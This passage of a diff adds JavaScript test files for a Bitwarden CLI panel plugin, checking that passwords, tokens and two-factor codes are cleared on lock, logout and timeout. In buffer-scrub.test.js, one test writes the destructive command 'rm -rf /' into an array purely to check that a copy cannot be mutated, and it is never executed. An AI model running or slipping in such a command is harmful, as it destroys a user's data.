/loginDeviceCode = ""/.test(suspendPending) + && !/loginPassword/.test(suspendPending), + suspendPending) +check("reopening past the window starts over rather than resuming", + /!Model\.secondFactorWindowOpen\(secondFactorStartedAt[\s\S]{0,80}abandonAuthSecrets\(\)/.test(panelOpened), + panelOpened) +check("reopening inside the window lands on the field that is waiting", + /showDeviceCodeField\) deviceCodeField\.forceActiveFocus\(\)/.test(focusField) + && /show2faField\) code2faField\.forceActiveFocus\(\)/.test(focusField), + focusField) +check("the window expires on its own, even while the panel is not on screen", + /running:\s*root\.secondFactorStartedAt > 0[\s\S]{0,300}abandonAuthSecrets\(\)/.test(panelSrc), + "a closed panel still has to forget on time") +check("every stage that waits on a code starts the clock", + (panelSrc.match(/markSecondFactorStage\(\)/g) || []).length >= 5, panelSrc) +check("locking, logging out and succeeding all end the pending window", + (panelSrc.match(/secondFactorStartedAt = 0/g) || []).length >= 3, panelSrc) + +// --- an unsynced vault is not an empty vault -------------------------------- +// +// `bw login` calls fullSync() without allowThrowOnError, so a sync that throws +// is swallowed: login exits 0 and prints a working session onto a local vault +// with no ciphers in it. The item list is then empty and correct, and looks +// exactly like a vault with nothing in it. +check("an unlocked vault that has never synced is repaired rather than rendered empty", + /!st\.lastSync && session && !initialSyncAttempted && !isSyncing[\s\S]{0,160}syncVault\(\)/.test(statusFinished), + statusFinished) +check("the repair is attempted once, so a failing sync cannot loop against the status refresh", + /initialSyncAttempted = true[\s\S]{0,60}syncVault\(\)/.test(statusFinished) + && statusFinished.indexOf("initialSyncAttempted = true") + < statusFinished.indexOf("syncVault()"), + statusFinished) +check("a new session gets a fresh attempt at the repair", + /initialSyncAttempted = false/.test(bodyOf("dropVaultState")) + && /initialSyncAttempted = false/.test(unlockSuccess), + bodyOf("dropVaultState")) +check("bw's status already reports lastSync, so nothing new has to be parsed for it", + /lastSync:\s*String\(st\.lastSync/.test( + fs.readFileSync(path.join(__dirname, "..", "BitwardenModel.js"), "utf8")), + "parseStatus must expose lastSync") + +// --- new-device verification, in the panel ---------------------------------- +check("a confirmed device challenge collects the code in the panel, not in a terminal", + /loginNeedsDeviceVerification[\s\S]{0,400}showDeviceCodeField\s*=\s*true/.test(loginOutput) + && /deviceCodeField\.forceActiveFocus/.test(loginOutput), + loginOutput) + +// The interactive login's output is a prompt session, not one of bw's one-line +// refusals. Letting the ordinary detectors read it would send a device +// challenge back round as a two-step prompt. +check("the interactive attempt's result is read before any other detector", + /if \(wasDeviceAttempt && !\(exitCode === 0 && out\.length > 10\)\)/.test(loginOutput) + && loginOutput.includes("sanitizeInteractiveStderr") + && loginOutput.indexOf("sanitizeInteractiveStderr") + < loginOutput.indexOf("Model.loginNeedsDeviceVerification"), + loginOutput) +check("the interactive flag is consumed once, so the next attempt is read normally", + /deviceVerificationAttempt\s*=\s*false/.test(loginOutput) + && /var wasDeviceAttempt = deviceVerificationAttempt/.test(loginOutput), + loginOutput) +check("a timeout or an unanswerable prompt falls back to the terminal login", + /exitCode === 124 \|\| Model\.loginPromptRanOutOfInput\(out, err\)[\s\S]{0,200}showDeviceCodeField\s*=\s*false/.test(loginOutput), + loginOutput) +check("a rejected code keeps the field so it can be retried", + /showDeviceCodeField\s*=\s*true[\s\S]{0,300}deviceCodeField\.forceActiveFocus/.test(loginOutput), + loginOutput) +check("the failing code is dropped before its stderr is turned into a message", + loginOutput.indexOf("sanitizeInteractiveStderr(err, loginDeviceCode)") + < loginOutput.indexOf('loginDeviceCode = ""'), + loginOutput) + +check("the interactive login carries no code of its own into the ordinary detectors", + /loginAttemptHadCode\s*=\s*false/.test(startDevice), startDevice) +check("the interactive flag is set before the process that reads it starts", + startDevice.includes("deviceVerificationAttempt = true") + && startDevice.includes("loginProc.running = true") + && startDevice.indexOf("deviceVerificationAttempt = true") + < startDevice.indexOf("loginProc.running = true"), + startDevice) +check("the password is delivered to the interactive login the same way as any other", + /writeAuthPassword\("login", loginPassword\)/.test(startDevice), startDevice) +check("a prewarmed ordinary login is stopped before the interactive one starts", + /loginProc\.running[\s\S]{0,200}deviceVerificationPending\s*=\s*true[\s\S]{0,200}return/.test(submitDevice) + && /deviceVerificationPending[\s\S]{0,120}startDeviceVerificationLogin/.test(panelSrc), + submitDevice) +check("the device stage refuses to submit an empty code", + /if \(!code\)[\s\S]{0,160}return/.test(submitDevice), submitDevice) + +// authEnv() sets BW_NOINTERACTION unconditionally, so this path must not use +// it -- that is the whole difference between this login and every other. +check("only the interactive login runs without BW_NOINTERACTION", + /deviceVerificationAttempt[\s\S]{0,260}deviceCodeEnvVar\(\)[\s\S]{0,80}return deviceEnv/.test(loginEnv) + && !/deviceVerificationAttempt[\s\S]{0,200}authEnv\(/.test(loginEnv), + loginEnv) +check("the device stage has its own submit and its own way out", + /visible:\s*root\.showDeviceCodeField/.test(emailLoginUi) + && /submitDeviceVerification\(\)/.test(emailLoginUi) + && /Use Terminal Instead[\s\S]{0,300}launchTerminalLogin\(\)/.test(emailLoginUi), + emailLoginUi) +check("the shared submit button stays out of the stages that do not use it", + /visible:\s*!root\.show2faMethodPicker\s*&&\s*!root\.showDeviceCodeField/.test(emailLoginUi), + emailLoginUi) + +// --- focus must never be taken off a field being typed into ------------------ +// +// A logout sets the status itself, then confirms it with `bw status` seconds +// later. That confirmation used to re-focus the login screen while the master +// password was being typed, moving the rest of it into the unmasked email +// field -- which the next submit would have sent as an email address. +check("a login screen that already has the cursor keeps it", + /loginFieldHasFocus\(\)[\s\S]{0,40}return/.test(focusField) + && /unlockFieldHasFocus\(\)[\s\S]{0,40}return/.test(focusField) + && /!searchField\.activeFocus/.test(focusField), + focusField) +check("the guard covers every field on the login screen, not just the visible stage", + ["emailField", "loginPassField", "code2faField", "serverUrlField", + "apiClientIdField", "apiClientSecretField", "apiMasterField"] + .every((f) => new RegExp(`\\b${f}\\.activeFocus`).test(loginFieldFocus)), + loginFieldFocus) +check("every field the guard names exists on the login screen", + ["serverUrlField", "apiClientIdField", "apiClientSecretField", "apiMasterField"] + .every((f) => new RegExp(`id:\\s*${f}\\b`).test(panelSrc)), + "the guard must not silently reference a field that was never given an id") +check("closing the panel releases the cursor, so reopening is not read as typing", + /abandonAuthSecrets\(\)[\s\S]{0,220}keyCatcher\.forceActiveFocus\(\)/.test(panelSrc), + panelSrc.slice(panelSrc.indexOf("onOpenedChanged"), panelSrc.indexOf("onOpenedChanged") + 500)) + +// --- the two-step method question, in the panel ----------------------------- +check("bw's provider question is answered by asking, before anything is guessed", + /loginNeedsMethodChoice/.test(loginOutput) + && loginOutput.indexOf("loginNeedsMethodChoice") + < loginOutput.indexOf("loginNeedsSecondFactor") + && /show2faMethodPicker\s*=\s*true/.test(loginOutput), + loginOutput) +check("the dead-end provider message is told apart from the answerable one", + /loginHasNoUsableProvider/.test(loginOutput) + && loginOutput.indexOf("loginHasNoUsableProvider") + < loginOutput.indexOf("loginNeedsMethodChoice"), + loginOutput) + +// shell.json holds one method for whichever account logged in last, so a +// remembered method that this account rejects is dropped and retried without, +// where one the user just chose is reported back to them. +check("a rejected method that was only remembered is dropped and retried untargeted", + /!login2faMethodConfirmed[\s\S]{0,260}forgetTwoFactorMethod\(\)[\s\S]{0,200}login2faMethod\s*=\s*-1[\s\S]{0,200}submitLogin[\s\S]{0,60}return/.test(loginOutput), + loginOutput) +check("a rejected method the user chose is reported as not configured, not retried", + /login2faMethodConfirmed\s*\n?\s*\?\s*Model\.twoFactorMethodLabel\(loginAttemptMethod\)/.test(loginOutput) + && /does not have/.test(loginOutput), + loginOutput) + +// The pick is sent on its own first. For Email that is what makes Bitwarden +// send the mail at all -- bw only posts the two-factor email when no token +// came with the request -- and for the others it validates the pick before +// anything is typed. +check("choosing a method submits it without a code", + /login2faMethod\s*=\s*method/.test(chooseMethod) + && /login2faMethodConfirmed\s*=\s*true/.test(chooseMethod) + && /login2faCode\s*=\s*""/.test(chooseMethod) + && chooseMethod.indexOf('login2faCode = ""') < chooseMethod.indexOf("submitLogin()"), + chooseMethod) +check("only a method from the table can be chosen", + /Model\.isTwoFactorMethod\(method\)[\s\S]{0,40}return/.test(chooseMethod), chooseMethod) + +// A prewarmed process was started with whatever method was set at the time. +// Reusing it after the method changed would send the old one. +check("a changed method restarts the prewarmed login instead of reusing it", + /login2faMethod/.test(loginSignature), loginSignature) +check("every email login attempt records the method it sent", + (submitLogin.match(/loginAttemptMethod\s*=/g) || []).length >= 2 + && /loginAttemptMethod\s*=\s*login2faMethod/.test(prepareEmailLogin), + prepareEmailLogin + "\n---\n" + submitLogin) + +check("a method is remembered only once it has actually worked", + /rememberTwoFactorMethod\(login2faMethod\)/.test(loginOutput) + && loginOutput.indexOf("rememberTwoFactorMethod") > loginOutput.indexOf("exitCode === 0") + && /Model\.isTwoFactorMethod\(method\)[\s\S]{0,40}return/.test(rememberMethod), + loginOutput + "\n---\n" + rememberMethod) +check("the remembered method is written without the settings screen's flash", + /writeSettingQuietly\("twoFactorMethods", next, "json"\)/.test(rememberMethod) + && !/settingsFlash/.test(bodyOf("writeSettingQuietly")), + rememberMethod) +check("the method is remembered against the account that just used it", + /rememberTwoFactorMethodIn\(twoFactorMethodStore, loginEmail, method\)/.test(rememberMethod) + && /rememberedTwoFactorMethodFor\(twoFactorMethodStore, loginEmail\)/.test(panelSrc), + rememberMethod) +check("a stale method is forgotten only for the account that rejected it", + /forgetTwoFactorMethodIn\(twoFactorMethodStore, loginEmail\)/.test(bodyOf("forgetTwoFactorMethod")), + bodyOf("forgetTwoFactorMethod")) + +// Unlock has always re-armed itself when the password could not be handed to +// bw; login left the button for the user to press again. +check("a failed password delivery retries the login once instead of asking for another click", + /!loginPasswordRetryUsed[\s\S]{0,120}loginPasswordRetryUsed = true[\s\S]{0,220}Qt\.callLater\([\s\S]{0,80}submitLogin\)[\s\S]{0,40}return/.test(writerExited) + && /errorMessage = "Could not deliver/.test(writerExited), + writerExited) +check("the retry follows the login that was actually running", + /retryDevice \? submitDeviceVerification : submitLogin/.test(writerExited), writerExited) +check("a delivered password restores the retry, so the next login gets its own", + /exitCode === 0\)? \{[\s\S]{0,80}loginPasswordRetryUsed = false/.test(writerExited), writerExited) + +check("the picker offers the model's methods rather than a list of its own", + /visible:\s*root\.show2faMethodPicker[\s\S]{0,1400}Repeater\s*\{\s*\n\s*model:\s*Model\.twoFactorMethods\(\)/.test(emailLoginUi) + && /chooseTwoFactorMethod\(modelData\.method\)/.test(emailLoginUi), + emailLoginUi) +check("the code stage names the method it is collecting for and can go back to the question", + /root\.login2faMethodLabel/.test(emailLoginUi) + && /Change method[\s\S]{0,300}reopenTwoFactorMethodPicker\(\)/.test(emailLoginUi), + emailLoginUi) + +check("the terminal login stops being an aside once only it can finish the login", + /root\.loginDeviceVerification[\s\S]{0,600}launchTerminalLogin\(\)/.test(terminalLoginUi) + && /selected:\s*root\.loginDeviceVerification/.test(terminalLoginUi), + terminalLoginUi) +check("abandoning credentials returns the next login to its first stage", + /show2faField\s*=\s*false/.test(abandonAuth), abandonAuth) + +check("API credentials are not materialized in the process environment before submission", + /if\s*\(\s*!loginSubmitted\s*\)\s*return\s+authEnv\(\s*""\s*,\s*""\s*,\s*""\s*,\s*""\s*\)/.test(loginEnv) + && loginEnv.indexOf("!loginSubmitted") < loginEnv.indexOf("loginClientSecret"), + loginEnv) +for (const prop of ["loginClientId", "loginClientSecret", "login2faCode"]) { + check(`successful authentication clears ${prop}`, + new RegExp(`\\b${prop}\\s*=\\s*""`).test(unlockSuccess), unlockSuccess) +} +check("PIN unlock preserves significant master-password whitespace", + pinResult !== "" && !/String\(password[^\n]+\)\.trim\(\)/.test(pinResult), pinResult) +check("fingerprint unlock preserves significant master-password whitespace", + fingerprintResult !== "" && !/String\(raw[^\n]+\)\.trim\(\)/.test(fingerprintResult), fingerprintResult) + +check("logging out forgets the stored credentials", + /forgetStoredCredentials\(\)/.test(logout), logout) +check("the clear-all command is what it runs", + /requestAllCredentialClear\(\)/.test(forget) + && /keyringClearAllProc\.running\s*=\s*true/.test(bodyOf("requestAllCredentialClear")), forget) +check("it does not ask fingerprintStored or pinConfigured for permission first", + forget !== "" && !/\bif\s*\(\s*(fingerprintStored|pinConfigured)\b/.test(forget), forget) +check("the panel declares a process for the clear-all command", + /id:\s*keyringClearAllProc[\s\S]{0,120}Model\.keyringClearAllCommand\(\)/.test(panelSrc), + "expected a keyringClearAllProc bound to Model.keyringClearAllCommand()") + +check("logout keeps new authentication blocked until CLI and keyring cleanup both finish", + /logoutPending\s*=\s*true/.test(logout) + && /logoutCliDone\s*=\s*false/.test(logout) + && /logoutCredentialsDone\s*=\s*false/.test(logout) + && /logoutPending/.test(bodyOf("submitLogin")) + && /logoutPending/.test(bodyOf("prepareEmailLogin")) + && /logoutPending/.test(bodyOf("launchTerminalLogin")), + logout + "\n" + bodyOf("submitLogin") + "\n" + bodyOf("prepareEmailLogin") + + "\n" + bodyOf("launchTerminalLogin")) +check("logout completion is acknowledged by both asynchronous processes", + /onLogoutCredentialsFinished\(exitCode\)/.test(panelSrc.slice(panelSrc.indexOf("id: keyringClearAllProc"), + panelSrc.indexOf("id: keyringClearAllProc") + 420)) + && /onLogoutCliFinished\(exitCode\)/.test(panelSrc.slice(panelSrc.indexOf("id: logoutProc"), + panelSrc.indexOf("id: logoutProc") + 240)), + "logout cleanup processes are not serialized") +check("failed keyring cleanup keeps authentication blocked until an explicit retry succeeds", + /logoutCredentialsExitCode\s*=\s*exitCode/.test(bodyOf("onLogoutCredentialsFinished")) + && /if\s*\(logoutCredentialsExitCode\s*!==\s*0\)[\s\S]*return/.test(bodyOf("finishLogoutIfReady")) + && /requestAllCredentialClear\(\)/.test(bodyOf("retryLogoutCleanup")) + && /logoutCleanupFailed\s*\?\s*root\.retryLogoutCleanup\(\)/.test(panelSrc), + bodyOf("onLogoutCredentialsFinished") + "\n" + bodyOf("finishLogoutIfReady") + + "\n" + bodyOf("retryLogoutCleanup")) +check("logout's final keyring sweep waits for every credential writer", + ["keyringStoreProc", "pinStoreProc", "keyringStoreMasterProc"].every(id => + new RegExp(`\\b${id}\\.running`).test(credentialStores)) + && /credentialStoresRunning\(\)[\s\S]*allCredentialsClearPending\s*=\s*true[\s\S]*return/.test(allCredentialClear), + credentialStores + "\n" + allCredentialClear) +for (const id of ["keyringStoreProc", "pinStoreProc", "keyringStoreMasterProc"]) { + const start = panelSrc.indexOf(`id: ${id}`) + const processBlock = panelSrc.slice(start, start + 520) + check(`${id} resumes the deferred logout sweep after its write exits`, + /logoutPending[\s\S]*allCredentialsClearPending[\s\S]*requestAllCredentialClear/.test(processBlock), + processBlock) +} + +// Turning fingerprint unlock off is the other place a flag used to decide +// whether the master password stayed behind. +const fpOff = panelSrc.slice(panelSrc.indexOf("onFingerprintUnlockChanged:"), + panelSrc.indexOf("onFingerprintUnlockChanged:") + 700) +check("disabling fingerprint unlock clears the keyring unconditionally", + /forgetFingerprintUnlock\(\)/.test(fpOff) && !/if\s*\(fingerprintStored\)\s*forgetFingerprintUnlock/.test(fpOff), + fpOff) + +check("locking erases the remembered session whatever the setting now says", + /requestSessionCredentialClear\(\)/.test(bodyOf("lockVault")) + && /keyringClearProc\.running\s*=\s*true/.test(bodyOf("requestSessionCredentialClear")) + && !/if\s*\(rememberSession\)\s*\{\s*\n\s*requestSessionCredentialClear/.test(bodyOf("lockVault")), + bodyOf("lockVault")) + +// --- and nothing the vault gave us outlives the lock ------------------------ +// Every one of these is a secret that used to sit in the panel object until +// the shell exited: a generated password, a form left mid-compose, the payload +// JSON on its way to bw, the master password typed into a setup form. +const dropped = bodyOf("dropVaultSecrets") +check("locking drops the vault secrets", + /dropVaultState\(\)/.test(bodyOf("lockVault")) && /dropVaultSecrets\(\)/.test(bodyOf("dropVaultState")), + bodyOf("lockVault") + "\n" + bodyOf("dropVaultState")) +for (const prop of ["detailPassword", "liveTotp", "totpFollowupCode", "genValue", + "formPassword", "formTotp", "itemPayloadJson", "sendPayloadJson", + "sendFormText", "sendFormPassword", "loginPassword", "loginClientSecret", + "pinEntry", "pinSetupPin", "pinSetupMaster", "fpSetupMaster", + "masterToStore"]) { + check(`locking clears ${prop}`, + new RegExp(`\\b${prop}\\s*=\\s*""`).test(dropped), dropped) +} +check("the item payload is dropped once bw has taken it, as the Send one is", + /itemPayloadJson\s*=\s*""/.test(bodyOf("onSaveItemFinished")), bodyOf("onSaveItemFinished")) + +// Cancel and Escape leave a setup form the same way, so the clearing sits on +// the screen change rather than on each of the ways out. +const screenChanged = panelSrc.slice(panelSrc.indexOf("onCurrentScreenChanged:"), + panelSrc.indexOf("onCurrentScreenChanged:") + 1200) +check("leaving the PIN form drops the master password it asked for", + /currentScreen !== "pin"[\s\S]{0,80}abandonPinSetup\(\)/.test(screenChanged) + && /pinSetupMaster\s*=\s*""/.test(bodyOf("abandonPinSetup")), screenChanged) +check("leaving the fingerprint form drops the master password it asked for", + /currentScreen !== "fingerprint"[\s\S]{0,80}abandonFingerprintSetup\(\)/.test(screenChanged) + && /fpSetupMaster\s*=\s*""/.test(bodyOf("abandonFingerprintSetup")), screenChanged) + +console.log(`${pass} passed, ${failures.length} failed`) +if (failures.length) { console.error("\nFAILURES:\n " + failures.join("\n ")); process.exit(1) } diff --git a/plugins/io.github.elevate08.qs-bitwarden-cli/tests/buffer-scrub.test.js b/plugins/io.github.elevate08.qs-bitwarden-cli/tests/buffer-scrub.test.js new file mode 100644 index 0000000..e6ec587 --- /dev/null +++ b/plugins/io.github.elevate08.qs-bitwarden-cli/tests/buffer-scrub.test.js @@ -0,0 +1,303 @@ +#!/usr/bin/env node +// Two things a lock and a logout were leaving behind. +// +// node tests/buffer-scrub.test.js +// +// 1. A StdioCollector keeps whatever its process last printed until that +// process runs again, so every secret that has come back through a pipe +// outlives the lock that was supposed to end it. Emptying one means +// running a command through it that prints nothing, which is what these +// assertions describe: what that command is, how a handler recognises a +// run of it, and which processes a pass over the queue touches. +// 2. The generator port is loopback and first-come, and QML's +// XMLHttpRequest has no timeout of its own. What bounds a request to a +// squatter is checked here; its cancellation and restart lifecycle is +// checked in tests/generator.test.js. + +const fs = require("fs") +const path = require("path") + +const panelSource = fs.readFileSync(path.join(__dirname, "..", "Panel.qml"), "utf8") +const panelBodyOf = (name) => { + const start = panelSource.indexOf(`function ${name}(`) + if (start === -1) return "" + let depth = 0 + for (let i = panelSource.indexOf("{", start); i < panelSource.length; i++) { + if (panelSource[i] === "{") depth++ + else if (panelSource[i] === "}" && --depth === 0) return panelSource.slice(start, i + 1) + } + return "" +} + +const Model = {} +new Function("exports", fs.readFileSync(path.join(__dirname, "..", "BitwardenModel.js"), "utf8") + .replace(/^\.pragma library\s*$/m, "") + ` + exports.scrubCommand = scrubCommand + exports.isScrubCommand = isScrubCommand + exports.scrubPass = scrubPass + exports.finishScrub = finishScrub + exports.scrubRetryMs = scrubRetryMs + exports.generatorResponseCap = generatorResponseCap + exports.generatorRequestTimeoutMs = generatorRequestTimeoutMs + exports.generateServeRequestCommand = generateServeRequestCommand + exports.generatorResponseTooLarge = generatorResponseTooLarge + exports.generatorPortIsForeign = generatorPortIsForeign + exports.generatorProbeIsForeign = generatorProbeIsForeign +`)(Model) + +let pass = 0 +const failures = [] +const check = (l, ok, d) => ok ? pass++ : failures.push(`${l}\n ${d}`) + +// --------------------------------------------------------------------------- +// The scrub command +// --------------------------------------------------------------------------- + +const scrub = Model.scrubCommand() + +check("the scrub command prints nothing", + scrub.length === 3 && scrub[0] === "bash" && scrub[1] === "-c" && scrub[2] === "", + `got ${JSON.stringify(scrub)}`) + +check("a fresh array each time, so one process cannot alias another's", + Model.scrubCommand() !== Model.scrubCommand(), + "scrubCommand() returned the same array twice") + +check("mutating what a caller was given does not change the next one", + (() => { const c = Model.scrubCommand(); c[2] = "rm -rf /"; return Model.scrubCommand()[2] === "" })(), + "the shared array leaked") + +check("the scrub command is recognised as one", + Model.isScrubCommand(Model.scrubCommand()) === true, "not recognised") + +check("a real bw command is not", + Model.isScrubCommand(["bw", "list", "items"]) === false, "bw list read as a scrub") + +check("nor is a command that merely starts the same way", + Model.isScrubCommand(["bash", "-c", "bw list items"]) === false, "a bash command read as a scrub") + +check("nor a shorter one", + Model.isScrubCommand(["bash", "-c"]) === false, "a truncated command read as a scrub") + +check("nor a longer one", + Model.isScrubCommand(["bash", "-c", "", "extra"]) === false, "a padded command read as a scrub") + +// A Process that has never run reports an empty command, and one that is +// missing entirely is what a typo in the process list looks like. Neither is a +// scrub, and neither may throw: this runs inside a signal handler. +check("an empty command is not a scrub", Model.isScrubCommand([]) === false, "empty read as a scrub") +check("an absent command is not a scrub", Model.isScrubCommand(null) === false, "null read as a scrub") +check("an undefined command is not a scrub", + Model.isScrubCommand(undefined) === false, "undefined read as a scrub") + +// QML hands JS a QStringList, whose members arrive as strings but whose +// identity is not a plain Array. +check("a list-like command is read the same as an array", + Model.isScrubCommand({ length: 3, 0: "bash", 1: "-c", 2: "" }) === true, + "a QStringList-shaped command was not recognised") + +// --------------------------------------------------------------------------- +// One pass over the queue +// --------------------------------------------------------------------------- + +const idle = (cmd) => ({ running: false, command: cmd }) +const busy = (cmd) => ({ running: true, command: cmd }) + +{ + const p = Model.scrubPass([idle(["bw", "list", "items"])]) + check("an idle process with a real command is scrubbed now", + p.start.length === 1, `start=${p.start.length}`) + check("and is asked about again, to confirm the scrub finished", + p.waiting.length === 1, `waiting=${p.waiting.length}`) +} + +{ + const p = Model.scrubPass([busy(["bw", "list", "items"])]) + check("a process still reading is not scrubbed out from under itself", + p.start.length === 0, `start=${p.start.length}`) + check("but stays in the queue for the next pass", + p.waiting.length === 1, `waiting=${p.waiting.length}`) +} + +{ + const p = Model.scrubPass([idle(Model.scrubCommand())]) + check("a process already scrubbed is left alone", + p.start.length === 0, `start=${p.start.length}`) + check("and drops out of the queue", + p.waiting.length === 0, `waiting=${p.waiting.length}`) +} + +{ + // The scrub itself is still running on the pass right after it was started. + const p = Model.scrubPass([busy(Model.scrubCommand())]) + check("a scrub in flight is waited on rather than started again", + p.start.length === 0 && p.waiting.length === 1, + `start=${p.start.length} waiting=${p.waiting.length}`) +} + +{ + const running = busy(["bw", "get", "item", "x"]) + const p = Model.scrubPass([idle(["bw", "list", "items"]), running, idle(Model.scrubCommand())]) + check("a mixed queue starts only what it can", + p.start.length === 1, `start=${p.start.length}`) + check("and carries the rest that is not finished", + p.waiting.length === 2 && p.waiting.indexOf(running) !== -1, + `waiting=${p.waiting.length}`) +} + +check("an empty queue is a no-op", + Model.scrubPass([]).start.length === 0 && Model.scrubPass([]).waiting.length === 0, + "empty queue did something") + +check("and so is a missing one", + Model.scrubPass(null).waiting.length === 0, "null queue threw or produced work") + +check("a hole in the process list is skipped rather than thrown on", + Model.scrubPass([null, idle(["bw", "sync"])]).start.length === 1, + "a null entry stopped the pass") + +// The retry exists for processes that were mid-read. It must keep the process +// queued until the empty scrub run finishes, even if a completion handler +// immediately reuses that same Process for another command. +check("the retry is spaced in seconds, not milliseconds", + Model.scrubRetryMs() >= 250, `retry every ${Model.scrubRetryMs()}ms`) +check("the retry never abandons a collector that is still being written", + /if\s*\(!root\.scrubPending\.length\)\s*stop\(\)/.test(panelSource) + && !/scrubRetryLimit/.test(panelSource), + "the scrub timer can stop with a process still in its queue") + +{ + const late = busy(["bw", "unlock"]) + let p = Model.scrubPass([late]) + late.running = false + p = Model.scrubPass(p.waiting) + late.command = Model.scrubCommand() + late.running = false + const queue = Model.finishScrub(p.waiting, late) + + // unlockProc does this from its scrub completion handler: the collector is + // clean, then prewarming immediately reuses the Process. Queue completion + // must not depend on observing its command afterward. + late.command = ["bw", "unlock", "--passwordfile", "fifo"] + late.running = true + check("a completed scrub drains before its Process is immediately reused", + p.start.length === 1 && queue.length === 0, + `started=${p.start.length} remaining=${queue.length}`) +} + +check("Panel completion handlers dequeue scrubbed processes explicitly", + /function\s+finishScrubRun\s*\(proc\)/.test(panelSource) + && /scrubPending\s*=\s*Model\.finishScrub\(scrubPending,\s*proc\)/.test(panelSource), + "Panel does not record scrub completion independently of Process reuse") + +check("a one-shot password copy scrubs its collector immediately after use", + /clearProcessCollectorSoon\(copyPasswordProc\)/.test(panelBodyOf("onPasswordCopyFinished")), + panelBodyOf("onPasswordCopyFinished")) +check("a TOTP read also scrubs its collector after copying the value into active state", + /continueTotpQueue\(false\)/.test(panelBodyOf("onTotpProcessExited")) + && /!collectorIsClean[\s\S]*clearProcessCollectorSoon\(getTotpProc\)/.test( + panelBodyOf("continueTotpQueue")), + panelBodyOf("onTotpProcessExited") + "\n" + panelBodyOf("continueTotpQueue")) +const totpProcBlock = panelSource.slice(panelSource.indexOf("id: getTotpProc"), + panelSource.indexOf("id: copyPasswordProc")) +const totpScrubCheck = totpProcBlock.indexOf("finishScrubRun(getTotpProc)") +const totpScrubResume = totpProcBlock.indexOf("continueTotpQueue(true)") +const totpScrubReturn = totpProcBlock.indexOf("return", totpScrubResume) +const totpNormalExit = totpProcBlock.indexOf("onTotpProcessExited") +check("a TOTP scrub exits without recursively scheduling another scrub", + totpScrubCheck !== -1 && totpScrubCheck < totpScrubResume + && totpScrubResume < totpScrubReturn && totpScrubReturn < totpNormalExit, + totpProcBlock) +check("a queued real TOTP request replaces the collector instead of racing an empty scrub", + /if\s*\(queued\)[\s\S]*startTotpFetch\(queued\)[\s\S]*!collectorIsClean[\s\S]*clearProcessCollectorSoon\(getTotpProc\)/.test( + panelBodyOf("continueTotpQueue")), + panelBodyOf("continueTotpQueue")) +check("a request queued during a TOTP scrub is resumed after that scrub exits", + /getTotpProc\.running[\s\S]*totpQueuedItemId\s*=/.test(panelBodyOf("fetchTotp")) + && /finishScrubRun\(getTotpProc\)[\s\S]*continueTotpQueue\(true\)/.test(totpProcBlock), + panelBodyOf("fetchTotp") + "\n" + totpProcBlock) +check("the deferred TOTP restart reserves the Process against a newer direct start", + /getTotpProc\.running\s*\|\|\s*totpRestartPending/.test(panelBodyOf("fetchTotp")) + && /totpRestartPending\s*=\s*true[\s\S]*totpRequestItemId\s*=\s*queued[\s\S]*Qt\.callLater/.test( + panelBodyOf("continueTotpQueue")) + && /totpRestartPending\s*=\s*false/.test(panelBodyOf("dropVaultSecrets")), + panelBodyOf("fetchTotp") + "\n" + panelBodyOf("continueTotpQueue")) + +// --------------------------------------------------------------------------- +// Generator request bounds +// --------------------------------------------------------------------------- + +const cap = Model.generatorResponseCap() + +check("the response cap is far above a generated password", + cap >= 4096, `cap is ${cap} bytes`) +check("and far below anything that would hurt to hold", + cap <= 1024 * 1024, `cap is ${cap} bytes`) +check("the request deadline is short enough to be a loopback deadline", + Model.generatorRequestTimeoutMs() > 0 && Model.generatorRequestTimeoutMs() <= 10000, + `deadline is ${Model.generatorRequestTimeoutMs()}ms`) + +check("a real answer is under the cap", + Model.generatorResponseTooLarge("67", 67) === false, "a 67-byte answer was refused") + +check("a declared length past the cap is refused before the body arrives", + Model.generatorResponseTooLarge(String(cap + 1), 0) === true, + "an oversized Content-Length was accepted") + +check("a body past the cap is refused however much was declared", + Model.generatorResponseTooLarge("10", cap + 1) === true, + "an oversized body was accepted") + +check("a chunked response declares nothing and is judged on what arrives", + Model.generatorResponseTooLarge("", 12) === false && Model.generatorResponseTooLarge("", cap + 1) === true, + "the chunked case was misjudged") + +check("an absent Content-Length is not read as an enormous one", + Model.generatorResponseTooLarge(null, 12) === false, "a missing header refused a small body") + +check("nor is a garbage one", + Model.generatorResponseTooLarge("not-a-number", 12) === false, "an unparseable header refused a small body") + +// The port check, once a request can be cut short. status 0 is both "nothing +// answered" and "we hung up", and only the first of those leaves the port free. +check("a refused connection leaves the port free", + Model.generatorProbeIsForeign(0, false) === false, "a refused connection read as occupied") + +check("any HTTP answer means someone is already bound", + Model.generatorProbeIsForeign(200, false) === true && Model.generatorProbeIsForeign(404, false) === true, + "an HTTP answer read as a free port") + +check("a request we had to cut short means someone is already bound", + Model.generatorProbeIsForeign(0, true) === true, + "an aborted probe read as a free port -- a stalling squatter would get our trust") + +check("even one that answered before stalling", + Model.generatorProbeIsForeign(200, true) === true, "an aborted probe read as free") + +// Process-based probe checks (curl exit codes) +check("curl CURLE_COULDNT_CONNECT (exit 7) with empty stdout indicates a free port", + Model.generatorProbeIsForeign(7, "") === false, "curl exit 7 was read as occupied") + +check("curl exit 0 with HTTP response indicates an occupied port", + Model.generatorProbeIsForeign(0, '{"success":true}') === true, "curl exit 0 was read as free") + +check("curl timeout (exit 28) indicates an occupied (stalling) port", + Model.generatorProbeIsForeign(28, "") === true, "curl timeout was read as free") + +check("curl write error / truncation (exit 23) indicates an occupied (flooding) port", + Model.generatorProbeIsForeign(23, "") === true, "curl exit 23 was read as free") + +// Producer-side bounding of generateServeRequestCommand +const serveReqCmd = Model.generateServeRequestCommand({ length: 16 }) +check("generateServeRequestCommand uses curl with timeout and head -c byte cap", + serveReqCmd[2].includes("curl -q -s -S") && serveReqCmd[2].includes("--max-time 2") && serveReqCmd[2].includes(`head -c ${cap}`), + serveReqCmd[2]) + +// --------------------------------------------------------------------------- + +if (failures.length) { + console.error(`\n${failures.length} failure(s):\n`) + failures.forEach((f) => console.error(` ✗ ${f}\n`)) + process.exit(1) +} +console.log(`buffer-scrub: ${pass} checks passed`) diff --git a/plugins/io.github.elevate08.qs-bitwarden-cli/tests/collections.test.js b/plugins/io.github.elevate08.qs-bitwarden-cli/tests/collections.test.js new file mode 100644 index 0000000..c1e672c --- /dev/null +++ b/plugins/io.github.elevate08.qs-bitwarden-cli/tests/collections.test.js @@ -0,0 +1,87 @@ +#!/usr/bin/env node +// Tests for organization collections on the item form. +// +// Field names were read from a real `bw list org-collections` response +// (id / organizationId / name / externalId / object) and from the item +// template, which carries collectionIds. +// +// node tests/collections.test.js + +const fs = require("fs") +const 